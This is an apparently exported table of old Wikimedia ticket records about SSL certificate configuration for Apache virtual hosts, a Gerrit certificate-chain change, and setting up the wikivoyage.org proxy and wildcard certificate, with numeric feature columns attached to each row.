%%%planet-language.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
%%%planet_domain_name %>.pem%%%
%%%planet-language.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
%%%planet_domain_name %>.key%%%
%%%racktables.wikimedia.org.erb: SSLEngine on%%%
%%%racktables.wikimedia.org.erb: SSLCertificateFile <%= racktables_ssl_cert %>%%%
%%%racktables.wikimedia.org.erb: SSLCertificateKeyFile <%= racktables_ssl_key %>%%%
%%%wikistats.erb: SSLEngine on%%%
%%%wikistats.erb: SSLCertificateFile <%= wikistats_ssl_cert %>%%%
%%%wikistats.erb: SSLCertificateKeyFile <%= wikistats_ssl_key %>%%%
%%%wikitech.wikimedia.org.erb: SSLEngine on%%%
%%%wikitech.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= certificate%%%
%%%%>.pem%%%
%%%wikitech.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
%%%certificate %>.key%%%",,,1364320694,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,1.7142857142857142,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,2.2857142857142856,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.428571428571427,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.714285714285714,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.142857142857146,1.5714285714285714,0.0,0.0,2.5714285714285716,7.285714285714286,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,5.10479429867185,0.22145654798716025,"%%%etherpad_lite.wikimedia.org.erb: SSLEngine on%%%
%%%etherpad_lite.wikimedia.org.erb: SSLCertificateFile <%= etherpad_ssl_cert %>%%%
%%%etherpad_lite.wikimedia.org.erb: SSLCertificateKeyFile <%= etherpad_ssl_key %>%%%
%%%ganglia.wikimedia.org.erb: SSLEngine on%%%
%%%ganglia.wikimedia.org.erb: SSLCertificateFile <%= ganglia_ssl_cert %>%%%
%%%ganglia.wikimedia.org.erb: SSLCertificateKeyFile <%= ganglia_ssl_key %>%%%
%%%gerrit.wikimedia.org.erb: SSLEngine on%%%
%%%gerrit.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= ssl_cert %>.pem%%%
%%%gerrit.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
%%%ssl_cert_key %>.key%%%
%%%gerrit.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/<%= ssl_ca %>.pem%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%graphite.wikimedia.org: SSLEngine on%%%
%%%graphite.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
%%%icinga.wikimedia.org.erb: SSLEngine On%%%
%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
%%%/etc/ssl/private/star.wikimedia.org.pem%%%
%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
%%%planet.erb: SSLEngine on%%%
%%%planet.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
%%%planet_domain_name %>.pem%%%
%%%planet.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
%%%planet_domain_name %>.key%%%
%%%planet-language.erb: SSLEngine on%%%
%%%planet-language.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
%%%planet_domain_name %>.pem%%%
%%%planet-language.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
%%%planet_domain_name %>.key%%%
%%%racktables.wikimedia.org.erb: SSLEngine on%%%
%%%racktables.wikimedia.org.erb: SSLCertificateFile <%= racktables_ssl_cert %>%%%
%%%racktables.wikimedia.org.erb: SSLCertificateKeyFile <%= racktables_ssl_key %>%%%
%%%wikistats.erb: SSLEngine on%%%
%%%wikistats.erb: SSLCertificateFile <%= wikistats_ssl_cert %>%%%
%%%wikistats.erb: SSLCertificateKeyFile <%= wikistats_ssl_key %>%%%
%%%wikitech.wikimedia.org.erb: SSLEngine on%%%
%%%wikitech.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= certificate%%%
%%%%>.pem%%%
%%%wikitech.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
%%%certificate %>.key%%%"
371138,Use SSLCertificateChainFile in Gerrit Apache configuration,//Status changed from 'new' to 'open' by RT_System//,,,1364320643,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
371124,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%blog.wikimedia.org: SSLEngine on%%%
%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%blog.wikimedia.org: SSLEngine on%%%
%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%contacts.wikimedia.org: SSLEngine On%%%
%%%contacts.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%contacts.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%controller.wikimedialabs.org: SSLEngine on%%%
%%%controller.wikimedialabs.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%controller.wikimedialabs.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%doc.wikimedia.org: SSLEngine on%%%
%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem%%%
%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.mediawiki.org.key%%%
%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%doc.wikimedia.org: SSLEngine on%%%
%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%noc.wikimedia.org: SSLEngine on%%%
%%%noc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%noc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%ocs.wikimania2009.wikimedia.org: SSLEngine on%%%
%%%ocs.wikimania2009.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%ocs.wikimania2009.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%outreachcivi.wikimedia.org: SSLEngine On%%%
%%%outreachcivi.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%outreachcivi.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%planet.wikimedia.org:# make all planet requests go to http instead of ssl%%%
%%%planet.wikimedia.org: SSLEngine on%%%
%%%planet.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%planet.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%secure.wikimedia.org: SSLEngine on%%%
%%%secure.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%secure.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%secure.wikimedia.org: # old URLs, redirect them to proper SSL%%%
%%%svn.wikimedia.org: SSLEngine on%%%
%%%svn.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%svn.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%",,,1364320642,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0.14285714285714285,0.0,0.0,0.0,0.0,3.4285714285714284,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.42857142857142855,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.428571428571427,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.2857142857142857,0.2857142857142857,26.571428571428573,0.8571428571428571,0.0,0.14285714285714285,0.42857142857142855,10.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,5.289748799952882,0.20964749536178107,"%%%blog.wikimedia.org: SSLEngine on%%%
%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%blog.wikimedia.org: SSLEngine on%%%
%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%bugzilla.wikimedia.org: SSLEngine On%%%
%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%contacts.wikimedia.org: SSLEngine On%%%
%%%contacts.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%contacts.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%controller.wikimedialabs.org: SSLEngine on%%%
%%%controller.wikimedialabs.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%controller.wikimedialabs.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%doc.wikimedia.org: SSLEngine on%%%
%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem%%%
%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.mediawiki.org.key%%%
%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%doc.wikimedia.org: SSLEngine on%%%
%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
%%%noc.wikimedia.org: SSLEngine on%%%
%%%noc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%noc.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%ocs.wikimania2009.wikimedia.org: SSLEngine on%%%
%%%ocs.wikimania2009.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%ocs.wikimania2009.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%outreachcivi.wikimedia.org: SSLEngine On%%%
%%%outreachcivi.wikimedia.org: SSLCertificateFile%%%
%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
%%%outreachcivi.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%planet.wikimedia.org:# make all planet requests go to http instead of ssl%%%
%%%planet.wikimedia.org: SSLEngine on%%%
%%%planet.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%planet.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%secure.wikimedia.org: SSLEngine on%%%
%%%secure.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%secure.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%
%%%secure.wikimedia.org: # old URLs, redirect them to proper SSL%%%
%%%svn.wikimedia.org: SSLEngine on%%%
%%%svn.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
%%%svn.wikimedia.org: SSLCertificateKeyFile%%%
%%%/etc/ssl/private/star.wikimedia.org.key%%%"
81686,SSL / protoproxy config for wikivoyage,"
",Medium,50.0,1352315191,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-i4lg35baorrmmpjiechz,task_description,resolved,True,c2,1,True,False,False,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,"
"
366330,SSL / protoproxy config for wikivoyage,//Status changed from 'open' to 'resolved' by dzahn//,,,1352409427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
366322,SSL / protoproxy config for wikivoyage,"%%%nginx did not like us using 127.0.0.1 as a work-around for not having IPs yet.%%%
%%%it broke config on the esams host because it would not accept that as a valid%%%
%%%host.%%%
%%%We had to work around that by not even creating configs for wikidata and%%%
%%%wikivoyage on esams hosts at all.%%%
%%%https://gerrit.wikimedia.org/r/#/c/32411/1/manifests/protoproxy.pp ,%%%
%%%https://gerrit.wikimedia.org/r/#/c/32413/ etc%%%
%%%--%%%
%%%Works for me now. Getting valid Digicert certificate on%%%
%%%https://fr.wikivoyage.org/wiki and similar, no warnings :)%%%",,,1352409427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,7.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,18.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,1.5,24.0,0.5,0.0,3.0,7.5,1.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.5,2.5,0.0,0.0,0.0,3.0722677595628416,0.5531420765027323,"%%%nginx did not like us using 127.0.0.1 as a work-around for not having IPs yet.%%%
%%%it broke config on the esams host because it would not accept that as a valid%%%
%%%host.%%%
%%%We had to work around that by not even creating configs for wikidata and%%%
%%%wikivoyage on esams hosts at all.%%%
%%%URL ,%%%
%%%URL etc%%%
%%%--%%%
%%%Works for me now. Getting valid Digicert certificate on%%%
%%%URL and similar, no warnings :)%%%"
366312,SSL / protoproxy config for wikivoyage,Dependency by ticket #3750 added by dzahn,,,1352315287,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,Dependency by ticket #3750 added by dzahn
366301,SSL / protoproxy config for wikivoyage,Dependency on ticket #3696 added by dzahn,,,1352315266,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #3696 added by dzahn
366291,SSL / protoproxy config for wikivoyage,//Status changed from 'new' to 'open' by dzahn//,,,1352315222,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.75,//Status changed from 'new' to 'open' by dzahn//
366281,SSL / protoproxy config for wikivoyage,"%%%https://gerrit.wikimedia.org/r/#/c/32244/2/manifests/protoproxy.pp%%%
%%%}%%%
%%%293%%%
%%%» # wikivoyage.org%%%
%%%294%%%
%%%» proxy_configuration{ wikivoyage:%%%
%%%295%%%
%%%» » proxy_addresses => {%%%
%%%296%%%
%%%» » » ""pmtpa"" => [ ""208.80.152.219"", ""[2620:0:860:ed1a::13]"" ],%%%
%%%297%%%
%%%» » » ""eqiad"" => [ ""208.80.154.243"", ""[2620:0:861:ed1a::13]"" ],%%%
%%%298%%%
%%%» » » ""esams"" => [ ""127.0.0.1"" ]%%%
%%%299%%%
%%%» » },%%%
%%%300%%%
%%%» » proxy_server_name => '*.wikivoyage.org',%%%
%%%301%%%
%%%» » proxy_server_cert_name => 'star.wikivoyage.org',%%%
%%%302%%%
%%%» » proxy_backend => {%%%
%%%303%%%
%%%» » » ""pmtpa"" => { ""primary"" => ""10.2.1.25"" },%%%
%%%304%%%
%%%» » » ""eqiad"" => { ""primary"" => ""10.2.2.25"" },%%%
%%%305%%%
%%%» » » ""esams"" => { ""primary"" => ""10.2.3.25"" }%%%
%%%306%%%
%%%» » },%%%
%%%307%%%
%%%» » ipv6_enabled => 'true',%%%
%%%308%%%
%%%» » enabled => 'true'%%%
%%%309%%%
%%%» }%%%",,,1352315222,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,2.25,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,34.0,4.5,0.0,0.25,0.0,5.75,0.0,9.75,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,2.091719261337073,0.25739247311827956,"%%%URL
%%%}%%%
%%%293%%%
%%%» # wikivoyage.org%%%
%%%294%%%
%%%» proxy_configuration{ wikivoyage:%%%
%%%295%%%
%%%» » proxy_addresses => {%%%
%%%296%%%
%%%» » » ""pmtpa"" => [ ""208.80.152.219"", ""[2620:0:860:ed1a::13]"" ],%%%
%%%297%%%
%%%» » » ""eqiad"" => [ ""208.80.154.243"", ""[2620:0:861:ed1a::13]"" ],%%%
%%%298%%%
%%%» » » ""esams"" => [ ""127.0.0.1"" ]%%%
%%%299%%%
%%%» » },%%%
%%%300%%%
%%%» » proxy_server_name => '*.wikivoyage.org',%%%
%%%301%%%
%%%» » proxy_server_cert_name => 'star.wikivoyage.org',%%%
%%%302%%%
%%%» » proxy_backend => {%%%
%%%303%%%
%%%» » » ""pmtpa"" => { ""primary"" => ""10.2.1.25"" },%%%
%%%304%%%
%%%» » » ""eqiad"" => { ""primary"" => ""10.2.2.25"" },%%%
%%%305%%%
%%%» » » ""esams"" => { ""primary"" => ""10.2.3.25"" }%%%
%%%306%%%
%%%» » },%%%
%%%307%%%
%%%» » ipv6_enabled => 'true',%%%
%%%308%%%
%%%» » enabled => 'true'%%%
%%%309%%%
%%%» }%%%"
81588,SSL cert for wikivoyage.org,"%%%it is 99.5% certain we will use this domain. we have already talked to the%%%
%%%current owner about the domain transfer and they will visit us here at the%%%
%%%office next week.%%%
%%%we will need a *.wikivoyage.org SSL cert and we will need it relatively quick%%%
%%%given the current schedule to start with the wikivoyage project%%%
